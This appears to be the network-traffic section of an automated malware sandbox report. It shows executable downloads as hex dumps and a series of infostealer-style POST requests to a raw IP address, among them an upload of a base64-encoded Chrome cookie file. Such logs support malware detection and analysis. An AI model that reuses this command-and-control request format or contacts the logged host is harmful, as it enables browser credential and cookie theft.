00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 05:20:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 01 Jul 2024 05:20:50 GMTContent-Type: application/octet-streamContent-Length: 1891840Last-Modified: Mon, 01 Jul 2024 03:45:22 GMTConnection: keep-aliveETag: "66822652-1cde00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4b 00 00 04 00 00 11 21 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 22 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 22 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 63 6a 72 70 72 6d 65 00 d0 19 00 00 60 31 00 00 c6 19 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 63 7a 70 79 6a 77 79 00 10 00 00 00 30 4b 00 00 04 00 00 00 b8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4b 00 00 22 00 00 00 bc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 01 Jul 2024 05:21:00 GMTContent-Type: application/octet-streamContent-Length: 2564096Last-Modified: Mon, 01 Jul 2024 04:14:30 GMTConnection: keep-aliveETag: "66822d26-272000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 89 fa 75 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 dc 95 c0 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 c0 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 20 f0 9d 00 f3 0c 00 00 14 fd 9d 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 9d 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 00 00 10 00 00 00 a4 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 01 00 00 40 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 30 21 00 00 40 02 00 00 04 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 70 23 00 00 20 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 7a 00 00 c0 23 00 00 28 03 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 f0 22 00 00 c0 9d 00 00 ec 22 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBAHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 31 30 30 34 37 42 42 42 30 42 38 33 39 34 36 30 39 38 34 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 2d 2d 0d 0a Data Ascii: ------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="hwid"F10047BBB0B83946098432------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="build"default------GCGCFCBAKKFBFIECAEBA--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDAFIEHIEGDHIDGDGHDHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 2d 2d 0d 0a Data Ascii: ------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="message"browsers------HJDAFIEHIEGDHIDGDGHD--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAFHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 2d 2d 0d 0a Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="message"plugins------JKEGDHCFCAAECAKECBAF--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDBHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="message"fplugins------FIIDBKJJDGHDHJKEHJDB--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHIHost: 85.28.47.4Content-Length: 6483Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 85.28.47.4Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 2d 2d 0d 0a Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3L
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file"------GIIEGHIDBGHIECAAECGD--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file"------GIIEGHIDBGHIECAAECGD--
